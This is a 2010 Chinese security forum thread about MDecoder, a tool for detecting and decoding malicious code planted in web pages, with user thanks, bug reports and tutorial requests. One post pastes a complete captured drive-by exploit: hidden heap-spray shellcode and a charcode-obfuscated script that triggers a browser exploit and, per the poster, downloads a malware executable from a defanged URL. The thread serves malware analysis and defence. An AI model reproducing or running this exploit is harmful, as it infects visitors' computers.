网页挂马分析专家MDecoder v0.67

显示全部楼层 · 发表于 2010-6-28 14:46:53

回复

辛苦了...要是有个教程就好了....
Hishutiao 发表于 2010.6.22 17:12

也希望有個教程方便新手

显示全部楼层 · 发表于 2010-6-28 15:44:09

MDecoder是一款自动化的网页挂马分析检测工具。MDecoder可对网页进行自动化的解密与分析，探测是否被挂马， ...
麦田的怪发表于 2010.3.9 00:10

Log generated by 250662772 use mdecoder 0.63
[root]http://www.guagua.cn/(厦门呱呱食品有限公司 )
[flash]http://www.guagua.cn/images/gg.swf
[flash]http://www.guagua.cn/images/music.swf
[iframe]http://guagua.cn/count/ie.html
此地址解出来的网马无法过滤,必须插入

显示全部楼层 · 发表于 2010-6-30 23:08:17

这个有实时监控的吗？

显示全部楼层 · 发表于 2010-7-1 10:15:19

下载了……

显示全部楼层 · 发表于 2010-7-2 19:42:34

分析网页的好东西

显示全部楼层 · 发表于 2010-7-3 09:09:16

谢谢LZ，下来试试

显示全部楼层 · 发表于 2010-7-10 23:07:12

更新了，顶一下。

显示全部楼层 · 发表于 2010-7-10 23:07:58

还有win7老是会停止工作
ray1106 发表于 2010.3.10 21:00

以前加过壳，可能导致WIN7下卡死。
自从0.6后就没加壳，应该不会卡了啊。

显示全部楼层 · 发表于 2010-7-14 15:29:33

本帖最后由 bafghgqyvl 于 2010.7.14 15:30 编辑

hxxp://nbbbs.enet.com.cn/api/ad.html
<div id=moon style='display:none'>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCPPPPPPPPPP%u0C0C%u9090%u10EB%u4B5B%uC933%uB966%u047E%u3480%uC20B%uFAE2%u05EB%uEBE8%uFFFF%u2BFF%uC13D%uC2C2%uA69D%uF263%uC2C2%u49C2%uCE82%uB249%u6FDE%uAA49%u49CA%uA835%u9BCD%u5D2A%uC2C1%u52C2%u3A20%uF1AA%uC2F0%uAAC2%uB197%uB0A7%u4996%uCE84%u2D2A%uC2C0%u49C2%uA82A%u9BC3%uBD2A%uC2C1%u20C2%uAA3B%uACAD%uC2C2%uB7AA%uAEB0%u96AF%u8449%u2ACE%uC012%uC2C2%u2A49%uC3A8%u2A9B%uC1A2%uC2C2%u3B20%uAEAA%uF0F1%uAAC2%uAAB1%uAEA7%u4996%uCE84%u732A%uC2C0%u49C2%uA82A%u9BC3%u832A%uC2C1%u20C2%u433B%uC22E%uC2C3%u49C2%u431E%u4201%uC2C2%uA8C2%uA8C2%u91D8%uC2A8%u943D%uF186%u8202%uFE42%uC2C1%u3BB7%u444B%uC252%uC2C2%uC605%u9EC1%uECA3%u05A7%uC186%uBAC6%uC2A7%uF1C2%u930B%u9193%u9395%u02F1%u8449%u2A82%uC09C%uC2C2%u3A41%uCDC2%uBD47%uC2C3%uA8C2%uA8C2%uA8C2%uA8C1%uA8C2%uAAC0%uC2C2%u02C2%u4991%uE684%uFF2A%uC2C0%u41C2%u3D3A%u46CD%uC39C%uC2C2%u844B%uA8A2%u92C2%u943D%u4BEA%uA684%u4449%uC252%uC2C2%uC605%u9EC1%uECA0%u05A7%uC186%uBAC6%uC2A7%uA8C2%uA8C2%uA8C2%uA8C0%uA8C2%uAAC2%uC2C2%u82C2%u4991%uE684%u392A%uC2C3%u41C2%u3D3A%u46CD%uC3DE%uC2C2%u444B%uC246%uC2C2%u5C4B%uC24E%uC2C2%u8449%uA8A2%uA8C2%uA8C2%u49C2%uA284%u3D92%uFA94%u8405%uC2B2%uC2C2%u05C2%uB684%uC2C2%uC2C2%u0543%uC0C2%uC2C2%u19F1%u9C49%uA8A6%u4FC2%uB284%uAA92%uC6C2%uC2C2%u3D95%uA2B4%u943D%uF1C6%u7B0B%uC6C2%uC2C2%uBE42%u3DCD%uB657%u42CE%uCDBE%uC23D%uC7B6%uB642%u3DCD%u2057%u4929%uEF01%uC6C2%uC2C2%u3A41%uBDC2%u4BC1%uB29C%uC2A8%u844F%u92B6%uB43D%u95B2%u743D%uC246%uC2C2%u943D%u43F2%uC229%uC2C6%u41C2%uC239%u67BD%uB43D%u3DA2%uF694%u743D%uC246%uC2C2%u943D%u49F6%u5244%uC2C2%u49C2%u4E5C%uC2C2%u05C2%uC1C6%uA39E%uA7EC%u3D91%uEE94%u7C49%uC24E%uC2C2%u4449%uC252%uC2C2%uC605%u9EC5%uECA0%u43A7%uC22E%uC2C3%u49C2%uAA1E%uC3C2%uC2C2%uAA91%uC3C2%uC2C2%uA895%uA8C2%u3DC2%uDE94%u3949%u02F1%u19F1%u2E43%uC0C2%uC2C2%u0E49%u3A41%uBF96%u4BCA%uC3DE%u0241%u29C6%u4931%u490E%u411B%uD201%u02F1%u9392%u9291%u9292%u9292%u9592%u9292%u8449%u2ACA%uC3C4%uC2C2%uBC49%u2AFE%uC390%uC2C2%uF52A%uC2C2%uAAC2%uB4A1%uC2B5%uB1AA%uA6AA%u96AD%u8449%u2ACE%uC274%uC2C2%u844B%uA6FE%uC663%uC2C2%u4FC2%uA262%u3D3D%uA83D%u3DA7%uFEB4%u8449%u2AD2%uC258%uC2C2%u19F1%u9191%u9191%u123D%uC12A%uC2C3%u43C2%uC22E%uC2C3%u49C2%u413E%uC605%uC505%uB6F0%uCE53%u8505%uA1C6%u134B%u058D%uCA85%uA762%u0955%u8505%u93CE%u7882%u05BD%uD285%uDFFC%uFB74%u8505%u7AD6%u16AB%u05D9%uDA85%uBD7C%u62A4%u8505%u3EDE%uF56B%u056F%uE285%uC85A%u3AD2%u63A6%uC2F2%uC2C2%u8249%u49CE%uDEB2%u496F%uCAAA%u3549%u944B%uA8A6%u9BC6%u032A%uC2C2%u52C2%u3A20%uF1AA%uC2F0%uAAC2%uB197%uB0A7%u4996%u2AC4%uC2D0%uC2C2%u2A49%uC7A8%u2A9B%uC260%uC2C2%u3B20%u3DF1%u3D95%uC694%uFA42%uB62A%u42D0%u2BFA%uCFB6%uFA42%uB629%u3DCA%u2A22%uC2A2%uC2C2%u4301%uC7BA%u5252%u5252%uCAB6%u3D49%u4997%u4F2E%uC782%u223D%u852A%uC2C2%u01C2%uFA42%uB62A%u42D0%u2BFA%uCFB6%uFA42%uB629%u3DCA%u2A22%uC2F2%uC2C2%u4301%uC7BA%u5252%u5252%u1AB6%uCAAA%uC2C8%u4FC2%uC782%u223D%uD52A%uC2C2%u01C2%uD32A%uC2C2%u7AC2%uC3D3%u42C6%uCE00%u29C2%u9AC0%u2A01%u3D3B%u3D3D%u0499%u7AC5%u9D4B%uA4C3%u8505%u3DC7%u0122%u4991%u911E%u82A8%uC2AA%uC2D2%u95C2%u8449%u2AE2%u3DAA%u3D3D%u019A%u9493%uB749%u49FE%uECB6%uC1BA%u9437%uB449%uC1E2%uF137%u8B0B%u6F83%u07C1%u19F1%u7CCD%uF8D2%uB614%u03CA%uC509%u18C1%u2982%uF933%uB7DD%u9C25%u9C49%uC1E6%uA41F%uCE49%u4989%uDE9C%u1FC1%uC649%uC149%u6907%u9B9C%u2A01%u393E%u3D3D%u3070%u3620%uF470%uD1CD%u8A32%uFFB9%uB6F0%uCE53%u1D47%u796D%u4BA1%u8D13%u8293%uBD78%u50C5%uB2E0%u66DC%u2DA6%uF051%u5626%uD14C%u6EC8%uFBBB%u5A24%u4F06%uB6DD%uA495%u3DCF%u7C81%u196E%uC85A%u3AD2%u1442%u586D%u9139%uA4D7%uB6AA%uB2B6%uEDF8%uABED%uA3A1%uECAF%uACA1%uADAD%uECAE%uA7AC%uEDB6%uADAF%uABA0%uA7AE%uA0ED%uA9A3%uF7ED%uF7F7%uECF1%uBAA7%uC2A7%uC2C2%u0GGGGGGGGGG</div>
<BUTTON ID='EXPBUTTON' ONCLICK='expfunction();' STYLE='DISPLAY:NONE'></BUTTON>
<script language="javascript">function cc(url){var k=0,curl='';var arraystr = url.split(',');for(var i=0;i<arraystr.length;i++){k=String.fromCharCode(arraystr-70);curl+=k;}return curl;}eval(cc("172,187,180,169,186,175,181,180,102,185,185,185,169,169,169,169,110,111,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,193,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,188,167,184,102,170,175,188,131,170,181,169,187,179,171,180,186,116,173,171,186,139,178,171,179,171,180,186,136,191,143,170,110,109,179,181,181,180,109,111,129,83,80,79,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,79,188,167,184,102,170,171,169,181,170,171,131,170,175,188,116,175,180,180,171,184,142,154,147,146,129,102,102,83,80,79,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,79,188,167,184,102,190,131,170,171,169,181,170,171,116,175,180,170,171,190,149,172,110,109,150,150,150,150,150,150,150,150,150,150,109,111,129,102,83,80,79,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,79,188,167,184,102,191,131,170,171,169,181,170,171,116,175,180,170,171,190,149,172,110,109,141,141,141,141,141,141,141,141,141,141,109,111,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,188,167,184,102,185,185,185,185,131,170,171,169,181,170,171,116,185,187,168,185,186,184,175,180,173,110,190,113,119,118,114,191,111,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,185,185,185,185,131,187,180,171,185,169,167,182,171,110,185,185,185,185,111,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,184,171,186,187,184,180,102,185,185,185,185,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,195,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,172,187,180,169,186,175,181,180,102,171,190,182,172,187,180,169,186,175,181,180,110,111,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,193,102,102,102,102,102,102,102,102,102,83,80,79,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,79,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,79,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,79,188,167,184,102,170,131,170,181,169,187,179,171,180,186,116,169,184,171,167,186,171,139,178,171,179,171,180,186,110,109,138,143,156,109,111,129,102,102,83,80,79,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,79,170,116,167,170,170,136,171,174,167,188,175,181,184,110,109,105,170,171,172,167,187,178,186,105,187,185,171,184,138,167,186,167,109,111,129,83,80,79,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,79,170,181,169,187,179,171,180,186,116,167,182,182,171,180,170,137,174,175,178,170,110,170,111,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,186,184,191,193,172,181,184,102,110,175,131,118,129,175,130,119,118,129,175,113,113,111,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,79,193,170,116,185,171,186,135,186,186,184,175,168,187,186,171,110,109,185,109,114,189,175,180,170,181,189,111,129,195,195,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,169,167,186,169,174,110,171,111,193,195,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,189,175,180,170,181,189,116,185,186,167,186,187,185,113,131,109,109,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,79,195,102,102,83,80,79,83,80,83,80,188,167,184,102,179,171,179,181,184,191,129,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,188,167,184,102,186,171,179,182,186,171,185,186,102,131,102,170,171,169,181,170,171,155,152,143,110,109,114,179,181,181,180,114,118,169,118,169,114,179,181,181,180,114,118,169,118,169,109,111,129,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,188,167,184,102,180,181,182,131,187,180,171,185,169,167,182,171,110,186,171,179,182,186,171,185,186,116,184,171,182,178,167,169,171,110,117,114,179,181,181,180,114,117,173,114,109,107,187,109,111,111,129,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,188,167,184,102,137,137,137,137,137,137,137,131,185,185,185,169,169,169,169,110,111,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,188,167,184,102,190,169,181,170,171,131,123,120,126,121,126,122,115,137,137,137,137,137,137,137,116,178,171,180,173,186,174,112,120,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,189,174,175,178,171,110,180,181,182,116,178,171,180,173,186,174,102,130,131,102,190,169,181,170,171,111,102,180,181,182,113,131,180,181,182,129,79,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,180,181,182,131,180,181,182,116,185,187,168,185,186,184,175,180,173,110,118,114,190,169,181,170,171,102,115,102,137,137,137,137,137,137,137,116,178,171,180,173,186,174,111,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,179,171,179,181,184,191,131,180,171,189,102,135,184,184,167,191,110,111,129,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,172,181,184,110,175,131,118,129,175,130,118,190,119,118,118,129,175,113,113,111,193,179,171,179,181,184,191,161,175,163,131,180,181,182,102,113,102,137,137,137,137,137,137,137,129,195,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,102,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,137,181,178,178,171,169,186,141,167,184,168,167,173,171,110,111,129,102,102,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,170,181,169,187,179,171,180,186,116,173,171,186,139,178,171,179,171,180,186,136,191,143,170,110,109,139,158,150,136,155,154,154,149,148,109,111,116,181,180,169,178,175,169,177,110,111,129,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129,83,80,170,181,169,187,179,171,180,186,116,189,184,175,186,171,110,109,109,111,129"));</script>
内容如下，按理应当可以解出hxxp://icam.cnool.net/mobile/bak/5553.exe 网马地址的，为什么自动的时候解不出来呢？
是因为它不是PE吗？
这种SHELLCODE会解密下载文件

显示全部楼层 · 发表于 2010-7-14 17:20:09

还有同一个链接重复解密，第一次能解出PE链接，第二次以后解不出PE链接的问题

[原创] 网页挂马分析专家MDecoder v0.67